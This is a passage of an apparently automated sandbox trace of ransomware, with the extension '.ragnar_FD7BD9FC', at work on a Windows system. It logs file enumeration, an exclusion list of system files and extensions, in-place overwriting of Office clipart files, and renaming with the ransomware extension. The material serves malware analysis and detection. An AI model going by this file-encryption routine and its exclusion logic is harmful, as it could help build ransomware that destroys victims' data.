dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.497] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1412) returned 1 [0091.497] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x57b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.497] GetProcessHeap () returned 0x580000 [0091.497] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.497] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.499] VirtualAlloc (lpAddress=0x0, dwSize=0x584, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.499] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.499] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.499] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x584, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x584, lpOverlapped=0x0) returned 1 [0091.499] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.499] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x584, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.499] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x584, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x584, lpOverlapped=0x0) returned 1 [0091.499] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x584, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.499] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.499] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.499] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.499] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.500] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.500] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.500] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.500] GetProcessHeap () returned 0x580000 [0091.500] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.500] CloseHandle (hObject=0xf4) returned 1 [0091.500] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" [0091.500] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.ragnar_FD7BD9FC" [0091.500] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.501] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00668_.WMF", cAlternateFileName="")) returned 1 [0091.501] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.501] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00668_.WMF" | out: lpString1="SO00668_.WMF") returned="SO00668_.WMF" [0091.501] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF") returned=".WMF" [0091.501] lstrcmpiW (lpString1="SO00668_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.501] lstrcmpiW (lpString1="SO00668_.WMF", lpString2="autorun.inf") returned 1 [0091.501] lstrcmpiW (lpString1="SO00668_.WMF", lpString2="boot.ini") returned 1 [0091.501] lstrcmpiW (lpString1="SO00668_.WMF", lpString2="bootfont.bin") returned 1 [0091.501] lstrcmpiW (lpString1="SO00668_.WMF", lpString2="bootsect.bak") returned 1 [0091.501] lstrcmpiW (lpString1="SO00668_.WMF", lpString2="bootmgr") returned 1 [0091.501] lstrcmpiW (lpString1="SO00668_.WMF", lpString2="bootmgr.efi") returned 1 [0091.501] lstrcmpiW (lpString1="SO00668_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.501] lstrcmpiW (lpString1="SO00668_.WMF", lpString2="desktop.ini") returned 1 [0091.501] lstrcmpiW (lpString1="SO00668_.WMF", lpString2="iconcache.db") returned 1 [0091.501] lstrcmpiW (lpString1="SO00668_.WMF", lpString2="ntldr") returned 1 [0091.501] lstrcmpiW (lpString1="SO00668_.WMF", lpString2="ntuser.dat") returned 1 [0091.501] lstrcmpiW (lpString1="SO00668_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.501] lstrcmpiW (lpString1="SO00668_.WMF", lpString2="ntuser.ini") returned 1 [0091.501] lstrcmpiW (lpString1="SO00668_.WMF", lpString2="thumbs.db") returned -1 [0091.501] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.501] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.501] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.501] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.501] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.501] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.501] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf")) returned 0x20 [0091.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.502] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5714) returned 1 [0091.502] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1649, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.502] GetProcessHeap () returned 0x580000 [0091.502] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.502] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.504] VirtualAlloc (lpAddress=0x0, dwSize=0x1652, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.504] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.504] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.504] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1652, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1652, lpOverlapped=0x0) returned 1 [0091.504] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.504] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1652, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.504] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1652, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1652, lpOverlapped=0x0) returned 1 [0091.505] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1652, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.505] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.505] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1652, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.505] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.505] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.505] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.505] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.505] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.505] GetProcessHeap () returned 0x580000 [0091.505] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.505] CloseHandle (hObject=0xf4) returned 1 [0091.505] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" [0091.506] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.ragnar_FD7BD9FC" [0091.506] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.506] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00670_.WMF", cAlternateFileName="")) returned 1 [0091.506] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.506] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00670_.WMF" | out: lpString1="SO00670_.WMF") returned="SO00670_.WMF" [0091.506] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF") returned=".WMF" [0091.506] lstrcmpiW (lpString1="SO00670_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.506] lstrcmpiW (lpString1="SO00670_.WMF", lpString2="autorun.inf") returned 1 [0091.506] lstrcmpiW (lpString1="SO00670_.WMF", lpString2="boot.ini") returned 1 [0091.506] lstrcmpiW (lpString1="SO00670_.WMF", lpString2="bootfont.bin") returned 1 [0091.506] lstrcmpiW (lpString1="SO00670_.WMF", lpString2="bootsect.bak") returned 1 [0091.506] lstrcmpiW (lpString1="SO00670_.WMF", lpString2="bootmgr") returned 1 [0091.507] lstrcmpiW (lpString1="SO00670_.WMF", lpString2="bootmgr.efi") returned 1 [0091.507] lstrcmpiW (lpString1="SO00670_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.507] lstrcmpiW (lpString1="SO00670_.WMF", lpString2="desktop.ini") returned 1 [0091.507] lstrcmpiW (lpString1="SO00670_.WMF", lpString2="iconcache.db") returned 1 [0091.507] lstrcmpiW (lpString1="SO00670_.WMF", lpString2="ntldr") returned 1 [0091.507] lstrcmpiW (lpString1="SO00670_.WMF", lpString2="ntuser.dat") returned 1 [0091.507] lstrcmpiW (lpString1="SO00670_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.507] lstrcmpiW (lpString1="SO00670_.WMF", lpString2="ntuser.ini") returned 1 [0091.507] lstrcmpiW (lpString1="SO00670_.WMF", lpString2="thumbs.db") returned -1 [0091.507] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.507] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.507] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.507] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.507] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.507] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.507] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.507] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf")) returned 0x20 [0091.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.507] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5824) returned 1 [0091.507] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.508] GetProcessHeap () returned 0x580000 [0091.508] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.508] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.511] VirtualAlloc (lpAddress=0x0, dwSize=0x16c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.511] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.511] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.511] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16c0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x16c0, lpOverlapped=0x0) returned 1 [0091.511] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.512] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.512] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x16c0, lpOverlapped=0x0) returned 1 [0091.512] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16c0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.512] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.512] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.512] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.512] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.512] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.512] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.512] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.512] GetProcessHeap () returned 0x580000 [0091.512] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.512] CloseHandle (hObject=0xf4) returned 1 [0091.512] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" [0091.512] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.ragnar_FD7BD9FC" [0091.513] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.513] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00671_.WMF", cAlternateFileName="")) returned 1 [0091.513] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.513] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00671_.WMF" | out: lpString1="SO00671_.WMF") returned="SO00671_.WMF" [0091.513] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF") returned=".WMF" [0091.513] lstrcmpiW (lpString1="SO00671_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.513] lstrcmpiW (lpString1="SO00671_.WMF", lpString2="autorun.inf") returned 1 [0091.513] lstrcmpiW (lpString1="SO00671_.WMF", lpString2="boot.ini") returned 1 [0091.513] lstrcmpiW (lpString1="SO00671_.WMF", lpString2="bootfont.bin") returned 1 [0091.513] lstrcmpiW (lpString1="SO00671_.WMF", lpString2="bootsect.bak") returned 1 [0091.513] lstrcmpiW (lpString1="SO00671_.WMF", lpString2="bootmgr") returned 1 [0091.514] lstrcmpiW (lpString1="SO00671_.WMF", lpString2="bootmgr.efi") returned 1 [0091.514] lstrcmpiW (lpString1="SO00671_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.514] lstrcmpiW (lpString1="SO00671_.WMF", lpString2="desktop.ini") returned 1 [0091.514] lstrcmpiW (lpString1="SO00671_.WMF", lpString2="iconcache.db") returned 1 [0091.514] lstrcmpiW (lpString1="SO00671_.WMF", lpString2="ntldr") returned 1 [0091.514] lstrcmpiW (lpString1="SO00671_.WMF", lpString2="ntuser.dat") returned 1 [0091.514] lstrcmpiW (lpString1="SO00671_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.514] lstrcmpiW (lpString1="SO00671_.WMF", lpString2="ntuser.ini") returned 1 [0091.514] lstrcmpiW (lpString1="SO00671_.WMF", lpString2="thumbs.db") returned -1 [0091.514] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.514] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.514] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.514] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.514] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.514] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.514] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf")) returned 0x20 [0091.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.514] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1488) returned 1 [0091.514] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.515] GetProcessHeap () returned 0x580000 [0091.515] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.515] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.516] VirtualAlloc (lpAddress=0x0, dwSize=0x5d0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.516] 